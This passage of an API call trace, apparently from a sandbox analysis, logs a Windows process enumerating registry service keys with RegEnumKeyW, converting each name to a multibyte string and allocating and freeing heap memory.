Size=0x80) returned 0x21f2eb0 [0249.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.465] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.465] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.465] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.465] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.466] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.466] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.466] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0249.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.467] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.467] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.467] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.467] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.468] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.468] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.468] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0249.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.469] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.469] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.469] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.469] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.470] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.470] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0249.470] RtlAllocateHeap 